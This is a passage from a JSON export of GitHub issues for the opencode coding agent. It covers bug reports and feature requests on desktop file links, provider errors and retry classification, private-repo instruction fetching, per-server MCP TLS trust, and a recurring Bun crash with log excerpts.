reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System Ubuntu 24.04 LTS ### Terminal _No response_",
        "url": "https://github.com/anomalyco/opencode/issues/37790",
        "createdAt": "2026-07-19T18:00:36Z",
        "updatedAt": "2026-08-13T05:41:59Z",
        "timestamp": "2026-08-13T05:41:59Z",
        "metrics": {
          "reactions": 0,
          "comments": 13
        },
        "labels": [],
        "author": "ahdkabeerhadi",
        "state": "open",
        "assignees": [
          "fwang"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:37891",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Desktop: make file paths in chat clickable (open in editor / reveal in Finder)",
        "text": "## Summary In the OpenCode **desktop app**, file and folder paths rendered in assistant messages look like interactive chips/links, but they are not clickable. Markdown `file://` links are also not clickable. There is no way to open a referenced path in the built-in editor, system default app, or Finder/Explorer from the chat transcript. ## Environment - OpenCode Desktop (macOS) - Model: Grok 4.5 (via OpenCode) - Observed: 2026-07-20 ## Steps to reproduce 1. Ask the agent to list files in a folder (or any reply that includes absolute paths). 2. Paths render as styled chips (gray background), e.g. `` `/Users/.../file.md` ``. 3. Click a chip → nothing happens. 4. Ask the agent to emit markdown links instead: ```md [file.md](file:///Users/me/project/file.md) ``` 5. Click the link → nothing happens (links are not interactive). ## Expected Clicking a path/link in chat should offer a useful action, for example: - **Primary click**: open file in OpenCode’s built-in editor / file browser tab - **Secondary / modifier**: Reveal in Finder (macOS) / Explorer (Windows) / file manager (Linux) - Folders: open in file browser or reveal in Finder - Optional: `path:line` / `path:line:col` jumps to location ## Actual Paths and `file://` markdown links are non-interactive. Users must copy the path and run something like: ```bash open -R \"/full/path/to/file\" ``` or ask the agent to run `open` for them. ## Why this matters Agents constantly point at files they created or edited. Click-to-open is table stakes in Cursor/VS Code/Claude Code-style UIs and removes a constant copy-paste friction, especially for non-code artifacts (PDFs, PNGs, `.docx`, data folders). ## Related - #31406 — open files in built-in editor in web UI - #36512 — built-in file explorer panel - #30074 — enhanced file management - PR #31407 — file mentions open in editor (closed/abandoned) - PR #30404 — make file tool titles clickable (closed/abandoned) - PR #35829 — inline file browser tabs (merged) — suggests UI surface already exists to open into ## Suggested acceptance criteria 1. Absolute and workspace-relative paths in assistant markdown become clickable. 2. Click opens the file in the desktop file browser/editor when possible. 3. Right-click or modifier-click reveals the path in the OS file manager. 4. Invalid/missing paths show a clear toast instead of silently doing nothing. 5. Works for both inline code paths and markdown links (`file://` and relative). Thanks — happy to test a nightly/desktop build.",
        "url": "https://github.com/anomalyco/opencode/issues/37891",
        "createdAt": "2026-07-20T09:36:32Z",
        "updatedAt": "2026-08-13T03:45:06Z",
        "timestamp": "2026-08-13T03:45:06Z",
        "metrics": {
          "reactions": 1,
          "comments": 4
        },
        "labels": [],
        "author": "tauseefkhan-max",
        "state": "open",
        "assignees": [
          "Hona"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:39310",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Free Usage Exceeded on 1st use after signup",
        "text": "### Description Bro just signed up using my github and then configured using api key, and tried using, only to find an error for Free Usage Exceeded, Subscribe to go.... I thought i might have used the github account before so signed up using a different google account to find the same error ### Plugins No plugins ### OpenCode version 1.18.8 ### Steps to reproduce _No response_ ### Screenshot and/or share link <img width=\"1201\" height=\"237\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/1a389252-044c-4b1d-a77b-278630a916d2\" /> ### Operating System Ubuntu 24.04.4 LTS ### Terminal guake",
        "url": "https://github.com/anomalyco/opencode/issues/39310",
        "timestamp": "2026-08-12T14:08:04Z",
        "metrics": {
          "reactions": 0,
          "comments": 3
        },
        "labels": [],
        "author": "Xkid0525",
        "assignees": [],
        "change": "new"
      },
      {
        "id": "github:anomalyco/opencode:issue:39326",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "ai: mid-stream HTTP resets are reported as invalid provider output (v2)",
        "text": "### Description When an HTTP provider connection resets, OpenCode aborts the active session drain. If the reset happens after response headers and valid SSE events have arrived, the incomplete assistant step fails and there is no recovery beyond manually prompting the session again. Concurrent child sessions also lose their active work when their streams reset. The durable session can still be prompted afterward, so it is not permanently corrupted, but the running operation and affected subagent work are lost. The visible error is misleadingly reported as `provider.invalid-output` with only: ```text Failed to read openai/openai-responses stream ``` The underlying failures in these cases were HTTP/2 response-body transport resets: ```text System.IO.IOException: Unable to read data from the transport connection: Connection reset by peer. System.Net.Sockets.SocketException (104): Connection reset by peer ``` On the current `v2` branch, `packages/ai/src/route/transport/http.ts` maps every `response.stream` error through `ProviderShared.eventError(...)`. That constructor creates `InvalidProviderOutputReason`. By contrast, request and response-header failures handled by `RequestExecutor` are correctly mapped to `TransportReason`. This has two consequences: 1. Network, proxy, and provider disconnects look like provider schema bugs and lose the useful low-level cause. 2. `SessionRunnerRetry.isRetryable(...)` retries `Transport` failures but rejects `InvalidProviderOutput`, so a reset before any output also bypasses the existing retry schedule. The runner intentionally prevents transparent retries after `outputStarted` becomes true. That is reasonable when a local tool call or provider-hosted side effect may have occurred, but the session needs a clear interrupted-step recovery path rather than terminating the drain with only a generic invalid-output error. ## Observed evidence - Nine failures occurred across five sessions in approximately 41 minutes. - Every failed assistant message had already persisted valid streamed reasoning events. - Four active sessions failed within 34 ms of each other. - OpenCode remained healthy on the same PID and server run. - At every corresponding timestamp, the HTTP proxy logged `Connection reset by peer` while copying an HTTP/2 response body. - The affected parent sessions remained promptable afterward, but their active drains and child-session work had terminated. There is already a deterministic test path for the classification problem. `truncatedStream(...)` in `packages/ai/test/lib/http.ts` is used by `surfaces transport errors that occur mid-stream` in `packages/ai/test/provider/openai-chat.test.ts`. That test currently checks only the generic message, not the reason classification or preservation of the underlying cause. ## Expected behavior - A response-body read failure should produce `TransportReason`. - The session error should be `provider.transport`, not `provider.invalid-output`. - A sanitized underlying cause or transport kind should be retained for diagnostics. - Before assistant output starts, the existing bounded retry schedule should handle the correctly classified transport failure. - After partial output, OpenCode should fail the incomplete attempt without corrupting the durable session and expose an explicit retry or resume action for the interrupted logical step. - A transparent post-output retry should happen only when OpenCode can prove that no local or provider-hosted tool side effect occurred. Otherwise, retrying should require explicit user confirmation. - Child-session failures should remain visible to the parent so their work can be restarted rather than silently disappearing. ## Actual behavior - The failure produces `InvalidProviderOutputReason`. - The session error is `provider.invalid-output`. - The connection-reset cause is lost unless a separate proxy log is available. - The active drain terminates, and affected subagent work must be restarted manually. - Even a transport reset before output would bypass the existing retry schedule because it is classified as invalid provider output. ### Plugins N/A ### OpenCode version 0.0.0-next-16323 ### Steps to reproduce 1. Use a native HTTP provider route such as OpenAI Responses. 2. Return successful response headers and at least one valid SSE event. 3. Reset or fail the response-body stream before its terminal event. This can be reproduced deterministically with the existing `truncatedStream(...)` test helper. 4. Observe that `LLMError.reason._tag` is `InvalidProviderOutput` and the session error is `provider.invalid-output` rather than `Transport` / `provider.transport`. 5. Observe that the active session drain terminates. 6. Repeat with the stream failing before any assistant output and observe that the normal transport retry schedule is still bypassed. 7. Repeat after partial reasoning output and observe that no explicit interrupted-step recovery is offered. ### Screenshot and/or share link _No response_ ### Operating System Linux 5.15.0-91-generic x86_64 ### Terminal xterm-256color, using /usr/bin/fish",
        "url": "https://github.com/anomalyco/opencode/issues/39326",
        "createdAt": "2026-07-28T12:22:08Z",
        "updatedAt": "2026-08-12T16:45:12Z",
        "timestamp": "2026-08-12T16:45:12Z",
        "metrics": {
          "reactions": 1,
          "comments": 1
        },
        "labels": [
          "2.0"
        ],
        "author": "bbartels",
        "state": "closed",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:39517",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]: Support private GitHub repos in opencode.json instructions remote URLs",
        "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. --- ### Problem The `instructions` field in `opencode.json` supports remote URLs, but only does an unauthenticated HTTP GET. Private repos — where most organizations keep their shared coding guidelines — return 404, making this feature useless for internal knowledge bases. See current, public only, documentation: [Referencing External Files](https://opencode.ai/docs/rules/#referencing-external-files) ### Proposal When `instructions` contains a `github.com` URL (including `raw.githubusercontent.com`), OpenCode should authenticate automatically by resolving a token from a transparent fallback chain: 1. **`GITHUB_TOKEN` env var** — already set in shell profile (`.zshrc`, `.bashrc`) or CI 2. **`.env` file** at project root — for project-level secrets 3. **`~/.config/gh/hosts.yml`** — auto-detect from the GitHub CLI (`gh auth login`) No configuration change needed. Auth is transparent — the token is resolved at fetch time and sent as `Authorization: Bearer`. The `instructions` field stays as `string[]`, fully backward compatible. **How it works:** - If `GITHUB_TOKEN` is set in your environment → it works immediately, zero config - If not → drop a `.env` file with `GITHUB_TOKEN=ghp_xxx` at the project root - If neither → `gh auth login` once, and the token is extracted from `~/.config/gh/hosts.yml` - If all sources are empty → OpenCode logs a warning and fetches without auth (URL returns 404) ### Scope - Only attach `Authorization` header to `github.com` URLs (prevents token leakage to arbitrary domains) - `.env` file missing → no error, continue to next source - `~/.config/gh/hosts.yml` missing → no error, continue to next source - All sources empty → log warning, fetch without auth - No caching — each request resolves fresh (add only if performance becomes an issue) - No per-instruction config — auth is transparent, no config type change - No new npm packages — inline parsers, no dependencies - No `gh` CLI dependency — read its config file directly with regex - No token in logs — warnings say \"no token found for URL\", not the token value - Cross-platform: `os.homedir()` resolves on macOS, Linux, Windows ### Architecture ```mermaid graph TD A[\"fetch\"] --> B[\"resolveToken\"] B --> C[\"Env.get(GITHUB_TOKEN)\"] B --> D[\"parseEnvFile(cwd)\"] B --> E[\"parseGhConfig()\"] C --> F{\"token found?\"} D --> F E --> F F -->|yes| G[\"fetch with Authorization header\"] F -->|no| H[\"fetch without auth\"] ``` ### Why Matters Organizations that maintain internal coding standards in private GitHub repos can't use the `instructions` field to keep agents aligned. Every team member currently has to clone the repo locally and manage `{file:}` paths, or rely on manual AGENTS.md instructions telling the agent to self-fetch via MCP. Neither scales. With this change, one `gh auth login` (or one env var) and you're done. --- @kitlangton please let me know if this is a viable feature, any additional feedback, and if I can take a pass at submitting a PR for this.",
        "url": "https://github.com/anomalyco/opencode/issues/39517",
        "createdAt": "2026-07-29T13:02:29Z",
        "updatedAt": "2026-08-13T17:06:09Z",
        "timestamp": "2026-08-13T17:06:09Z",
        "metrics": {
          "reactions": 0,
          "comments": 3
        },
        "labels": [],
        "author": "Insighttful",
        "state": "open",
        "assignees": [
          "kitlangton"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:39789",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "GitHub Action ignores GHES API endpoint variables",
        "text": "### Description The GitHub Action creates its REST and GraphQL clients with GitHub.com defaults even when GitHub Actions provides `GITHUB_API_URL` and `GITHUB_GRAPHQL_URL` on GHES. REST requests can therefore target GitHub.com, while deriving GraphQL from the REST endpoint would also use the wrong GHES path. ### Plugins None ### OpenCode version Current `dev` branch ### Steps to reproduce 1. Run the GitHub Action on GHES with `GITHUB_API_URL` ending in `/api/v3` and `GITHUB_GRAPHQL_URL` ending in `/api/graphql`. 2. Trigger a code path that makes REST and GraphQL requests. 3. Observe that the clients do not use those endpoints. ### Screenshot and/or share link Not applicable ### Operating System GitHub Actions runner ### Terminal Not applicable",
        "url": "https://github.com/anomalyco/opencode/issues/39789",
        "createdAt": "2026-07-31T01:49:30Z",
        "updatedAt": "2026-08-13T17:05:23Z",
        "timestamp": "2026-08-13T17:05:23Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "rover0811",
        "state": "open",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:39827",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[Zen] AuthError: \"Request blocked by upstream provider\" — all Zen models broken, account recreated",
        "text": "### Description All OpenCode Zen models return `AuthError: Request blocked by upstream provider.` — **every single model**, both paid and free. This is NOT a client-side issue. Direct provider API keys (DeepSeek, Anthropic) work perfectly. Steps to reproduce 1. Connect OpenCode Zen via `/connect` with a valid API key 2. Run any Zen model: opencode run \"hola\" --model opencode/deepseek-v4-pro 3. Or test the Zen API directly with curl: ```bash curl -H \"Authorization: Bearer <zen-api-key>\" \\ -H \"Content-Type: application/json\" \\ -d '{\"model\":\"gpt-5.4-nano\",\"messages\":[{\"role\":\"user\",\"content\":\"hola\"}]}' \\ https://opencode.ai/zen/v1/chat/completions 4. Response: {\"type\":\"error\",\"error\":{\"type\":\"AuthError\",\"message\":\"Request blocked by upstream provider.\"}} Zen models should respond normally with valid API keys. All Zen models return the same AuthError — including: - opencode/gpt-5.4-nano (auto-used for session titles) - opencode/deepseek-v4-pro (paid) - opencode/minimax-m3-free (free) Environment - OS: Windows 11 - OpenCode version: 1.18.9 (latest) - Shell: PowerShell 7 What I've already tried (none helped) - Recreated Zen account from scratch - Generated new API keys multiple times - Cleared OpenCode cache (%USERPROFILE%\\.cache\\opencode) - Cleared OpenCode storage (%USERPROFILE%\\.local\\share\\opencode) - Tested with curl directly (bypassing OpenCode entirely) — same error - Rolled back to older OpenCode version — same error - Direct provider APIs work fine (DeepSeek direct key, Anthropic direct key) Evidence OpenCode log: level=ERROR providerID=opencode modelID=gpt-5.4-nano error=\"AI_APICallError: Request blocked by upstream provider.\" Direct curl: {\"type\":\"error\",\"error\":{\"type\":\"AuthError\",\"message\":\"Request blocked by upstream provider.\"}} Root cause analysis Since ALL Zen models fail (different upstream providers: OpenAI, DeepSeek, MiniMax, etc.) and even a fresh account with new keys fails identically, the issue is likely in Zen's authentication/billing gateway layer — possibly a corrupted tenant state or a platform-side block. *** UPDATE *** 31/07/26 API key authenticates successfully (opencode models lists 60+ Zen models) but all chat completions fail with AuthError: Request blocked by upstream provider. Direct curl confirms same error without OpenCode. Recreated account, new keys — identical result. Direct provider keys (DeepSeek, Anthropic) work fine.",
        "url": "https://github.com/anomalyco/opencode/issues/39827",
        "createdAt": "2026-07-31T07:41:25Z",
        "updatedAt": "2026-08-13T09:12:30Z",
        "timestamp": "2026-08-13T09:12:30Z",
        "metrics": {
          "reactions": 7,
          "comments": 10
        },
        "labels": [],
        "author": "juanmah98",
        "state": "open",
        "assignees": [
          "MrMushrooooom"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:39845",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "DeepSeek V4 Flash on suddenly requires \"Enable models hosted in China\" for OpenCode Go subscription",
        "text": "### Description Mid-session suddenly OpenCode stopped working and claims that `The latest version of this model is only available hosted in China and requires explicit opt in: https://opencode.ai/workspace/wrk_01KT2AY9J4V90A83HFP3M9CEYW/go` ### Plugins none ### OpenCode version 1.15.13 ### Steps to reproduce 1. Be signed into OpenCode Go 2. Have \"Enable models hosted in China\" disabled 3. Try to use OpenCode Flash V4 ### Screenshot and/or share link <img width=\"1994\" height=\"1079\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/ddde6490-2a98-4c1b-9fc2-19cd3f4d17be\" /> ### Operating System Ubuntu 22.04 ### Terminal xfce4-terminal",
        "url": "https://github.com/anomalyco/opencode/issues/39845",
        "createdAt": "2026-07-31T09:18:23Z",
        "updatedAt": "2026-08-13T11:03:16Z",
        "timestamp": "2026-08-13T11:03:16Z",
        "metrics": {
          "reactions": 31,
          "comments": 22
        },
        "labels": [],
        "author": "capi",
        "state": "open",
        "assignees": [
          "StarpTech"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:39864",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Codex OAuth Fast models run at standard throughput",
        "text": "### Description On vanilla OpenCode, ChatGPT-authenticated Fast model entries send `service_tier: \"priority\"`, but do not show the speed increase that the same account gets in the official Codex CLI. Tested with clean upstream checkouts, no plugins, and `--pure`: - `v1.18.10`: HTTP and Responses WebSocket - current `dev` (`14f0bf64a19493110b51f5fdeb9c1c1bba5dd3f5`): Responses WebSocket - `gpt-5.6-sol` vs `gpt-5.6-sol-fast`, low effort - identical fixed prompt producing 603 output tokens Current `dev`, 3 alternating runs per model (time from OpenCode `step_start` to `step_finish`): | Model | Median turn time | Median output rate | |---|---:|---:| | `gpt-5.6-sol` | 10.818s | 55.74 tok/s | | `gpt-5.6-sol-fast` | 10.950s | 55.07 tok/s | The earlier clean `v1.18.10` test was also flat on both transports. In contrast, official `codex-cli 0.145.0` on the same account and prompt completed Standard in a median 16.30s and Fast in 11.11s across 4 alternating runs each (1.47x). A temporary redacted probe at OpenCode's OAuth fetch boundary confirmed the current upstream request behavior: ```text standard: model=gpt-5.6-sol, service_tier omitted fast: model=gpt-5.6-sol, service_tier=priority ``` I am not treating `response.service_tier=default` as proof because OpenAI has stated that field is not a reliable end-to-end Fast indicator for ChatGPT auth: https://github.com/openai/codex/issues/14204#issuecomment-4033184620. The controlled speed result and same-account Codex CLI control are the relevant signals here. Related but not duplicate: #23267 and #16499 reported Fast feeling no different, but were closed once a Fast model appeared in the picker; runtime routing was not verified. #25059 likewise confirms the catalog design, not the serviced speed. Could maintainers clarify the sanctioned way for third-party ChatGPT OAuth clients to request Codex Fast routing? If OpenCode needs Codex-specific metadata or another integration beyond `service_tier`, where should that live? I would be happy to work on a PR once the desired direction is confirmed. If proper routing is not currently available to third-party clients, not advertising Fast for this auth path may be a safer interim behavior. ### Plugins None (`--pure`) ### OpenCode version `v1.18.10` and current `dev` at `14f0bf64a19493110b51f5fdeb9c1c1bba5dd3f5` ### Steps to reproduce 1. Sign in to OpenAI using ChatGPT OAuth. 2. From a clean upstream build, alternate these commands several times with the same prompt: ```bash opencode run --pure --format json --model openai/gpt-5.6-sol --variant low \"Output exactly the integers from 1 to 300 inclusive, one per line, with no commentary.\" opencode run --pure --format json --model openai/gpt-5.6-sol-fast --variant low \"Output exactly the integers from 1 to 300 inclusive, one per line, with no commentary.\" ``` 3. Compare `step_start` to `step_finish` timestamps and verify each response has 603 output tokens. 4. As a control, run the same prompt in Codex CLI with Fast off/on. ### Operating System macOS 27.0, Apple Silicon ### Terminal zsh",
        "url": "https://github.com/anomalyco/opencode/issues/39864",
        "createdAt": "2026-07-31T11:34:52Z",
        "updatedAt": "2026-08-13T07:24:25Z",
        "timestamp": "2026-08-13T07:24:25Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "AidenGeunGeun",
        "state": "open",
        "assignees": [
          "nexxeln"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:40111",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]: Allow per-MCP-server trust configuration",
        "text": "## Problem Many MCP servers run inside private networks without publicly trusted TLS certificates. Examples include: - OPNsense / pfSense firewalls - TrueNAS / Synology appliances - Proxmox servers - Kubernetes clusters - Home Assistant - Enterprise internal services These services commonly use: - Self-signed certificates - Private certificate authorities - Internal DNS names - Private IP addresses MCP clients reject these connections because the certificates are not signed by a public CA. Current workarounds are not ideal: - Disable TLS verification globally (`NODE_TLS_REJECT_UNAUTHORIZED=0`) - Modify the operating system certificate store - Use `NODE_EXTRA_CA_CERTS` - Run a local proxy/bridge to terminate TLS - Require users to replace appliance certificates These approaches reduce security, add complexity, or defeat simple MCP setup. --- ## Proposed Solution Add per-MCP-server TLS trust configuration, scoped to one server only. ### Option 1: Custom CA file ```json { \"type\": \"http\", \"url\": \"https://192.168.1.1/mcp\", \"tls\": { \"caFile\": \"~/.config/mcp/opnsense-ca.pem\" } } ``` ### Option 2: Embedded CA certificate ```json { \"type\": \"http\", \"url\": \"https://192.168.1.1/mcp\", \"tls\": { \"caPem\": \"-----BEGIN CERTIFICATE-----...\" } } ``` ### Option 3: Certificate fingerprint pinning Similar to SSH host key verification. ```json { \"type\": \"http\", \"url\": \"https://192.168.1.1/mcp\", \"tls\": { \"fingerprint\": \"SHA256:ABC123...\" } } ``` Useful for home labs, network appliances, private IP services, and devices without public DNS. --- ## Why `NODE_EXTRA_CA_CERTS` is not sufficient ### 1. Process-wide, not MCP-server scoped ``` OpenCode process | +-- Homelab appliance MCP server (installed on the homelab appliance e.g opnsense, pfsense, docker host) +-- GitHub API +-- Other MCP servers +-- Other HTTPS requests ``` Adding a private CA via `NODE_EXTRA_CA_CERTS` trusts that CA for all TLS connections in the process. ### 2. Requires runtime/environment configuration Users must understand where to place cert files, how to set env vars, how the client launches Node, and whether it respects Node env vars. This breaks the expected workflow: 1. Install MCP server 2. Import MCP configuration 3. Use MCP ### 3. Inconsistent across MCP clients Different clients bundle their own Node runtime, use Electron, or different HTTP libraries. ### 4. No certificate pinning Cannot express \"trust this one specific certificate\": ``` SHA256:AA:BB:CC:DD:... ``` --- ## Security Requirements The implementation should: - Keep TLS verification enabled by default - Avoid global TLS bypasses - Scope trust to one MCP server - Show when custom trust is configured The implementation should **not** require `NODE_TLS_REJECT_UNAUTHORIZED=0` or `--ignore-certificate-errors`. --- ## Expected User Experience 1. Install MCP plugin on homelab appliance with self signed cert 2. Download/generate MCP configuration 3. Add MCP server to opencode project 4. Start using the MCP The user should not need to manually configure certificates, modify system trust stores, or install additional bridges.",
        "url": "https://github.com/anomalyco/opencode/issues/40111",
        "createdAt": "2026-08-02T00:59:41Z",
        "updatedAt": "2026-08-12T21:21:35Z",
        "timestamp": "2026-08-12T21:21:35Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "karup",
        "state": "open",
        "assignees": [
          "nexxeln"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:40196",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Conversation history too large to compact - exceeds model context limit",
        "text": "It's a brand new session, and I still this error, what's happened with the context limit?",
        "url": "https://github.com/anomalyco/opencode/issues/40196",
        "createdAt": "2026-08-03T00:21:43Z",
        "updatedAt": "2026-08-13T09:08:36Z",
        "timestamp": "2026-08-13T09:08:36Z",
        "metrics": {
          "reactions": 0,
          "comments": 3
        },
        "labels": [],
        "author": "kooshikooo-lab",
        "state": "closed",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:40206",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "grok-4.5 on opencode go not working since 2 Aug",
        "text": "### Description grok-4.5 has been returning errors since 2 Aug. ### Plugins NA ### OpenCode version v1.18.11 ### Steps to reproduce Call grok-4.5 on opencode go via openai chat completions api, response is always 500. ### Screenshot and/or share link NA ### Operating System Windows 11 ### Terminal Windows Terminal",
        "url": "https://github.com/anomalyco/opencode/issues/40206",
        "createdAt": "2026-08-03T02:32:16Z",
        "updatedAt": "2026-08-13T15:44:50Z",
        "timestamp": "2026-08-13T15:44:50Z",
        "metrics": {
          "reactions": 1,
          "comments": 8
        },
        "labels": [],
        "author": "lirc571",
        "state": "closed",
        "assignees": [
          "fwang"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:40219",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Bun segfault (address 0x0) recurring with identical crash signature during long agentic sessions with high subprocess-spawn count",
        "text": "## Summary `opencode` (single instance, no other opencode process running) has crashed twice with an identical Bun segfault signature during long-running agentic sessions with heavy tool-call/subprocess-spawn activity. Both crashes decode to the **same `bun.report` URL**, indicating a deterministic, reproducible crash location rather than two unrelated incidents. ``` panic(main thread): Segmentation fault at address 0x0 oh no: Bun has crashed. This indicates a bug in Bun, not your code. ``` Crash report: https://bun.report/1.3.14/Ba10d9b296mxGugogC4664tE+ypR0gxx/E4pi4/E6lqggFynh4/E648v2Dszo92CwmzppDksiusC00hhsC8u5gsCy8wK0oxK6iiypCA2AA ## Environment - **opencode version**: 1.18.11 - **Embedded Bun**: 1.3.14 (Linux x64 baseline) - **OS**: Ubuntu 24.04.1, kernel `7.0.0-28-generic`, glibc 2.39 - **CPU**: sse42 popcnt avx avx2 ## Incident 1 - Single `opencode` instance running (verified via `ps aux` afterward — no concurrent instance) - Run had been active handling multiple interleaved subagent sessions (multi-agent workflow across several git worktrees) for an extended period - At crash time: `Elapsed: 6863017ms | User: 5051737ms | Sys: 631260ms`, `RSS: 0.24GB | Peak: 1.26GB`, `spawn(435)` - System memory at time of investigation (shortly after): 15Gi total, ~658Mi free, 375Mi swap in use — under memory pressure, though not from opencode's own RSS ## Incident 2 (same crash signature) - Also single instance (confirmed no concurrent opencode process) - `Elapsed: 5203283ms | User: 5746267ms | Sys: 651745ms`, `RSS: 0.28GB | Peak: 1.69GB` - `jsc spawn(10273)` — over 10k child processes had been spawned by this Bun process over the session - `fetch(725)` network requests - Session log shows the process was mid-loop on a single subagent session (`agent=general mode=subagent`), doing rapid consecutive tool-call steps (edits, bash, chrome-devtools calls) roughly every 3–10 seconds for the run's duration, each triggering opencode's per-step git snapshot tracking (a `git` subprocess spawn logged as `tracking hash=...` on nearly every step) - The structured log (`~/.local/share/opencode/log/opencode.log`) simply stops mid-step with no shutdown/error entry, consistent with an abrupt native crash rather than a JS-level exception ## Observations / possible contributing factors 1. Both crashes occurred after long-running sessions with very high cumulative subprocess-spawn counts (435 and 10,273 respectively) — opencode's per-tool-call-step git snapshot tracking spawns a `git` subprocess on nearly every step, in addition to whatever the agent's own bash/tool calls spawn. 2. System-wide memory pressure was present in at least one incident (658Mi free of 15Gi), though opencode's own RSS was modest (<2GB peak). 3. Not caused by multiple concurrent opencode instances — verified single process both times. 4. Identical `bun.report` hash across two separate incidents suggests a deterministic crash path (same code location), not a random race — but I don't have access to the decoded native stack trace (the `bun.report` link only shows a \"crash report sent\" confirmation page, not the trace itself). ## What I've ruled out - Multiple concurrent `opencode` processes writing to the same sqlite db (verified only one process running in both incidents) - An unrelated corrupted git object in `~/.local/share/opencode/snapshot/.../objects/` causing repeated hourly `git repack` failures — real issue, present in logs, but timestamps don't correlate with either crash ## Trimmed log excerpts (structured log, redacted) These are the last lines from `~/.local/share/opencode/log/opencode.log` for each crashing run, right up to where the log simply stops (no panic/shutdown line is ever written — the structured logger doesn't capture the native crash, it just goes silent). Paths referencing unrelated private repos have been redacted; everything diagnostically relevant (run/session ids, step cadence, tool/stream activity) is intact. <details> <summary>Incident 1 — <code>run=8f05b4e6</code>, ends 2026-08-02T17:50:55.588Z</summary> ``` timestamp=2026-08-02T17:50:18.376Z level=INFO run=8f05b4e6 message=evaluated permission=bash pattern=\"sleep 12\" action.action=allow timestamp=2026-08-02T17:50:18.376Z level=INFO run=8f05b4e6 message=evaluated permission=bash pattern=\"pdftoppm -png -r 96 deco-variants.pdf var\" action.action=allow timestamp=2026-08-02T17:50:30.518Z level=INFO run=8f05b4e6 message=loop session.id=ses_03c883f02ffev4rbDNAyltf27u step=190 timestamp=2026-08-02T17:50:30.576Z level=INFO run=8f05b4e6 message=process session.id=ses_03c883f02ffev4rbDNAyltf27u messageID=msg_fc3994883001vePw25Zq9CLV9D timestamp=2026-08-02T17:50:30.577Z level=INFO run=8f05b4e6 message=stream providerID=opencode modelID=deepseek-v4-flash-free session.id=ses_03c883f02ffev4rbDNAyltf27u small=false agent=general mode=subagent timestamp=2026-08-02T17:50:31.127Z level=ERROR run=8f05b4e6 message=\"stream error\" session.id=ses_03c883f02ffev4rbDNAyltf27u error.error=\"AI_APICallError: Rate limit exceeded. Please try again later.\" timestamp=2026-08-02T17:50:54.863Z level=INFO run=8f05b4e6 message=loop session.id=ses_03c887e21ffeOgoVfbLQBiHwWF step=213 timestamp=2026-08-02T17:50:54.921Z level=INFO run=8f05b4e6 message=process session.id=ses_03c887e21ffeOgoVfbLQBiHwWF messageID=msg_fc399a79e001JpI4GFa4X0UK5W timestamp=2026-08-02T17:50:54.921Z level=INFO run=8f05b4e6 message=stream providerID=opencode modelID=deepseek-v4-flash-free session.id=ses_03c887e21ffeOgoVfbLQBiHwWF small=false agent=general mode=subagent timestamp=2026-08-02T17:50:55.588Z level=ERROR run=8f05b4e6 message=\"stream error\" session.id=ses_03c887e21ffeOgoVfbLQBiHwWF error.error=\"AI_APICallError: Rate limit exceeded. Please try again later.\" --- [log ends here — process crashed silently; next log line is a fresh instance starting 49s later] --- ``` Notable: two different subagent sessions in the same run both hit `Rate limit exceeded` within ~24s of each other, immediately before the process died. </details> <details> <summary>Incident 2 — <code>run=46b9e069</code>, ends 2026-08-03T05:23:45.243Z</summary> ``` timestamp=2026-08-03T05:23:31.876Z level=INFO run=46b9e069 message=tracking hash=27da42628669af017b9d97932cf8c662f5d47889 cwd=<project>/izkor timestamp=2026-08-03T05:23:31.911Z level=INFO run=46b9e069 message=loop session.id=ses_03a235b15ffe7x5NafNq3gRolO step=336 timestamp=2026-08-03T05:23:31.997Z level=INFO run=46b9e069 message=process session.id=ses_03a235b15ffe7x5NafNq3gRolO messageID=msg_fc613c3df001To1zWO1kqZABU0 timestamp=2026-08-03T05:23:31.998Z level=INFO run=46b9e069 message=stream providerID=opencode modelID=deepseek-v4-flash-free session.id=ses_03a235b15ffe7x5NafNq3gRolO small=false agent=general mode=subagent timestamp=2026-08-03T05:23:38.463Z level=INFO run=46b9e069 message=evaluated permission=bash pattern=\"grep -rn 'Title' <redacted-external-repo>/info.go\" action.action=allow timestamp=2026-08-03T05:23:38.571Z level=INFO run=46b9e069 message=tracking 